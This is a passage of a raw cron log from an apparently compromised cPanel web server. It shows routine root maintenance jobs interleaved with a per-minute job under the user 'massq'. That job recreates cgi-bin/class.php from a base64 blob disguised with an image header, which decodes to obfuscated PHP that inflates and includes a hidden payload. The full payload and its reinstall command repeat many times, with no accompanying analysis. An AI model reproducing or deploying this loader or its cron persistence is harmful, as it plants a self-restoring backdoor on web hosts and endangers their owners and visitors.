&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:50:01 server CROND[7100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 01:50:01 server CROND[7102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:50:01 server CROND[7101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:50:01 server CROND[7103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:50:01 server CROND[7106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 01:51:01 server CROND[7412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:52:01 server CROND[7665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:53:01 server CROND[7922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:54:01 server CROND[8181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:55:01 server CROND[8541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:55:01 server CROND[8542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:55:01 server CROND[8543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:56:01 server CROND[8988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:57:02 server CROND[9282]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 01:57:02 server CROND[9283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:58:01 server CROND[9537]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:59:01 server CROND[9802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:00:01 server CROND[10174]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 02:00:01 server CROND[10176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:00:01 server CROND[10177]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 02:00:01 server CROND[10179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:00:01 server CROND[10180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:00:01 server CROND[10178]: (root) CMD (/usr/local/cpanel/bin/backup)
Nov 15 02:01:01 server CROND[10491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:01:01 server CROND[10492]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 02:01:01 server run-parts(/etc/cron.hourly)[10492]: starting 0anacron
Nov 15 02:01:01 server anacron[10505]: Anacron started on 2025-11-15
Nov 15 02:01:01 server anacron[10505]: Normal exit (0 jobs run)
Nov 15 02:01:01 server run-parts(/etc/cron.hourly)[10507]: finished 0anacron
